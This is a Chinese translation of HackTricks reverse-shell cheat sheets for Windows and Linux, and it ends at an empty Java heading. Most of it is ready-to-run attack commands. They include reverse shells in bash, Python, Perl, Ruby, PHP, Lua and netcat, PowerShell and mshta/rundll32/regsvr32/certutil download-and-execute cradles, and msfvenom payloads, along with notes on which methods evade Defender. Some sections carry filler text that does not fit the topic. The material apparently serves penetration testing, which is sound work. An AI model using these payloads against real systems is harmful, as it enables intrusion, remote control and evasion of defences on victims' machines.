[**sbd**](https://www.kali.org/tools/sbd/)**是一种便携且安全的Netcat替代工具**。它适用于类Unix系统和Win32。具有强加密、程序执行、可定制源端口和持续重新连接等功能，sbd为TCP/IP通信提供了多功能解决方案。对于Windows用户，可以使用Kali Linux发行版中的sbd.exe版本作为可靠的Netcat替代品。

```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
```

## Python

## Python

```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```

## Perl

Perl是一种通用的脚本语言，可用于在Windows系统上执行各种任务。Perl脚本可以用于执行系统命令、文件操作、网络通信等操作。Perl在Windows系统上的使用非常灵活，可以通过Perl脚本轻松实现各种自定义功能。

```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

## Ruby

## Ruby

```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

## Lua

Lua是一种轻量级、高效的脚本语言，常用于嵌入式系统和游戏开发中。 Lua脚本可以通过C语言编写的解释器来运行。 Lua具有简洁的语法和强大的扩展能力，被广泛应用于各种领域。 Lua脚本可以通过调用系统命令执行操作系统级别的任务。

```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```

## OpenSSH

攻击者（Kali）

```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```

受害者

```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```

## Powershell

## Powershell

```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```

执行网络调用的进程：**powershell.exe**\
写入磁盘的有效负载：**否**（*至少在我使用procmon时找不到！*）

```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

网络调用执行的进程：**svchost.exe**\
写入磁盘的有效载荷：**WebDAV客户端本地缓存**

**一行代码：**

```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

**在本文末尾获取有关不同Powershell Shell的更多信息**

## Mshta

* [从这里获取](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```

```bash
mshta http://webserver/payload.hta
```

```bash
mshta \\webdavserver\folder\payload.hta
```

#### **hta-psh反向外壳示例（使用hta下载并执行PS后门）**

```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```

**您可以非常容易地使用stager hta下载并执行Koadic僵尸程序**

#### hta示例

[**从这里**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)

```xml
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
```

#### **mshta - sct**

[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)

```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
```

#### **Mshta - Metasploit**

Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.

```bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
```

```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```

**被防御者检测到**

## **Rundll32**

[**Dll 你好世界示例**](https://github.com/carterjones/hello-world-dll)

* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```

```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```

**被防御者检测到**

**Rundll32 - sct**

[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)

```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
```

#### **Rundll32 - Metasploit**

```bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
```

**Rundll32 - Koadic**

```bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
```

## Regsvr32

* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

**被防御者检测到**

#### Regsvr32 -sct

[**从这里开始**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)

```markup
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
```

#### **Regsvr32 - Metasploit**

```bash
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
```

**您可以使用stager regsvr轻松下载并执行Koadic僵尸程序**

## Certutil

* [从这里下载](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

下载一个B64dll，解码并执行它。

```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```

下载一个B64exe，解码并执行它。

```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

**被防御者检测到**

## **Cscript/Wscript**

```bash
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
```

**Cscript - Metasploit**

```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```

**被防御者检测到**

## PS-Bat

```bash
\\webdavserver\folder\batchfile.bat
```

执行网络调用的进程：**svchost.exe**\
写入磁盘的有效载荷：**WebDAV 客户端本地缓存**

```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
```

```bash
\\10.8.0.3\kali\shell.bat
```

**被防御者检测到**

## **MSIExec**

攻击者

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```

受害者：

```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```

**检测到**

## **Wmic**

* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```bash
wmic os get /format:"https://webserver/payload.xsl"
```

示例xsl文件[在这里](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):

```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>
```

**未被检测**

**您可以使用分段器wmic轻松下载并执行Koadic僵尸**

## Msbuild

* [从这里](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```

你可以使用这种技术来绕过应用程序白名单和Powershell.exe限制。由于你将会收到一个PS shell提示。\
只需下载这个文件并执行它：<https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj>

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```

**未被检测**

## **CSC**

在受害者机器上编译C#代码。

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```

你可以从这里下载一个基本的C#反向shell：<https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc>

**未被检测**

## **Regasm/Regsvc**

* [从这里获取](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```

**我还没有尝试过**

[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)

## Odbcconf

* [从这里获取](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

**我还没有尝试过**

[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)

## Powershell Shells

### PS-Nishang

<https://github.com/samratashok/nishang>

在**Shells**文件夹中，有许多不同的shell。要下载并执行Invoke-*PowerShellTcp.ps1*，请复制该脚本并附加到文件末尾：

```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```

在Web服务器上开始提供脚本，并在受害者端执行它：

```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```

Defender尚未将其检测为恶意代码（截至2019年3月4日）。

**TODO: 检查其他nishang shells**

### **PS-Powercat**

[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)

下载，启动Web服务器，启动监听器，并在受害者端执行：

```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```

**powercat提供的其他选项：**

绑定shell、反向shell（TCP、UDP、DNS）、端口重定向、上传/下载、生成载荷、提供文件...

```
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
```

### Empire

<https://github.com/EmpireProject/Empire>

创建一个PowerShell启动器，保存到文件中，然后下载并执行它。

```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```

**检测为恶意代码**

### MSF-Unicorn

<https://github.com/trustedsec/unicorn>

使用unicorn创建metasploit后门的PowerShell版本

```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```

使用创建的资源启动msfconsole：

```
msfconsole -r unicorn.rc
```

在受害者上启动一个提供\_powershell\_attack.txt\_文件的Web服务器，并执行：

```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```

**检测到恶意代码**

## 更多

[PS>Attack](https://github.com/jaredhaight/PSAttack) PS控制台，预装一些具有攻击性的PS模块（加密）\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS控制台，预装一些具有攻击性的PS模块和代理检测（IEX）

## 参考资料

* <https://highon.coffee/blog/reverse-shell-cheat-sheet/>
* <https://gist.github.com/Arno0x>
* <https://github.com/GreatSCT/GreatSCT>
* <https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/>
* <https://www.hackingarticles.in/koadic-com-command-control-framework/>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>
* <https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/> ​ **Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Shells - Linux

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Try Hard Security Group**

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-dae1ef8c660e0243188462f22f417bbb1a2719d3%2Ftelegram-cloud-document-1-5159108904864449420.jpg?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

**如果您对这些shell有任何疑问，可以使用** [**https://explainshell.com/**](https://explainshell.com) **进行检查**

## Full TTY

**一旦获得反向shell**[ **阅读此页面以获取完整的TTY**](/generic-methodologies-and-resources/shells/full-ttys)**。**

## Bash | sh

```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
```

### 符号安全的shell

```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```

#### Shell解释

1. **`bash -i`**: 此部分命令启动一个交互式 (`-i`) Bash shell。
2. **`>&`**: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 这是一个特殊文件，**表示与指定IP地址和端口的TCP连接**。

* 通过**将输出和错误流重定向到此文件**，该命令有效地将交互式shell会话的输出发送到攻击者的机器。

4. **`0>&1`**: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。

### 创建文件并执行

```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```

## 正向 Shell

在处理基于 Linux 的 Web 应用中的 **远程代码执行 (RCE)** 漏洞时，通过网络防御措施如 iptables 规则或复杂的数据包过滤机制可能会阻碍实现反向 shell。在这种受限制的环境中，一种替代方法是建立一个 PTY（伪终端）shell，以更有效地与受损系统进行交互。

一个推荐的工具是 [toboggan](https://github.com/n3rada/toboggan.git)，它简化了与目标环境的交互。

要有效地利用 toboggan，创建一个针对目标系统 RCE 上下文的 Python 模块。例如，一个名为 `nix.py` 的模块可以按以下结构组织：

```python3
import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text
```

然后，您可以运行：

```shell
toboggan -m nix.py -i
```

直接利用交互式shell。您可以添加`-b`以进行Burpsuite集成，并删除`-i`以获得更基本的rce包装。

另一种可能性是使用`IppSec`的前向shell实现[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。

您只需要修改：

* 受攻击主机的URL
* 您的有效负载的前缀和后缀（如果有的话）
* 发送有效负载的方式（头部？数据？额外信息？）

然后，您可以**发送命令**，甚至**使用`upgrade`命令**来获得完整的PTY（请注意，管道的读取和写入会有大约1.3秒的延迟）。

## Netcat

```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```

## gsocket

在<https://www.gsocket.io/deploy/>中查看

```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```

## Telnet

Telnet是一种用于远程登录的网络协议。

```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```

## Whois

**攻击者**

```bash
while true; do nc -l <port>; done
```

将命令写下来，按回车，然后按CTRL+D（停止STDIN）

**受害者**

```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```

## Python

## Python

```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```

## Perl

Perl是一种通用的脚本语言，被广泛用于系统管理、文本处理、网络编程等领域。Perl脚本可以在Linux系统上运行，并且通常被用于编写各种类型的脚本和工具。Perl具有强大的正则表达式功能，使其成为处理文本数据的理想选择。

```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

## Ruby

### Ruby Shell

Ruby shell is a simple shell written in Ruby that allows for easy command execution. It is useful for executing commands on a target machine once a Ruby interpreter is available.

To use the Ruby shell, you can start by running the following command:

```ruby
ruby ruby_shell.rb
```

Once the Ruby shell is running, you can execute commands on the target machine by typing them in the shell prompt.

### Ruby One-Liners

Ruby one-liners are short and concise Ruby scripts that can be used for various purposes, including data manipulation, text processing, and system administration tasks. They are especially useful for quick tasks that can be accomplished with a single line of code.

Here are some examples of Ruby one-liners:

* Print the current date and time:

```ruby
ruby -e 'puts Time.now'
```

* List all files in the current directory:

```ruby
ruby -e 'puts Dir.glob("*")'
```

* Base64 encode a string:

```ruby
ruby -r base64 -e 'puts Base64.encode64("hello")'
```

Ruby one-liners can be a powerful tool in a hacker's arsenal for quick and efficient tasks.

```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```

## PHP

PHP是一种流行的服务器端脚本语言，通常用于Web开发。

```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```

## Java

